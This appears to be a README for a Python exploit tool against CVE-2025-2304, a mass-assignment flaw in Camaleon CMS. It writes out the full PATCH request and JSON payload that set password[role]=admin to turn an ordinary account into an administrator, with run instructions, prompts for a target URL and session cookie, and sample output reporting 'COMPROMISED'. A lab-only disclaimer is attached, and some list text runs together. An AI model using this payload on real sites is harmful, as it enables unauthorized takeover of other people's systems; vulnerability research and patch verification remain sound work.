Python exploit script for CVE-2025-2304, a mass assignment privilege escalation in Camaleon CMS. Automates CSRF token parsing and role parameter injection to elevate authenticated users to admin in controlled lab environments.
CVE-2025-2304 is a Mass Assignment vulnerability in Camaleon CMS (versions < 2.9.1) that allows an authenticated user to elevate their privileges to administrator by manipulating the role parameter in password change requests.
Camaleon CMS uses Ruby on Rails and in version 2.9.0 has a Mass Assignment vulnerability in the UsersController#updated_ajax controller. The controller uses .permit! without restrictions, allowing any parameter sent in the request to be directly assigned to the user model.
POST /admin/users/{user_id}/updated_ajaxpassword[role] sent within the password namespaceparams.require(:password) and then applies .permit!, which does not filter any parameters"admin" value into the user's role fieldPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
The password[role] parameter is processed by User.update(permitted_params) and directly assigned to the user record due to .permit!, elevating privileges from user to admin.
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
The script will ask interactively:
http(s)://domain:port_cms_session value (obtained after login)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
When I found this vulnerability, my first instinct was to test it manually through Burp Suite — and it worked. But I wanted to go a step further and turn that manual process into something repeatable and portable, so I wrote this script. Beyond just exploiting the bug, building this gave me a chance to work through some things I find genuinely interesting:
I'm not trying to replace Burp or Caido. Those tools are irreplaceable for interactive testing. This is just what happens when I'd rather write a script than repeat myself.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
The code is modularly structured to facilitate:
.permit!Contributions are welcome that:
Remember: This project has an exclusively educational and authorized research purpose.
Last update: April 2025 | By Security Analyst (Laboratory Environment)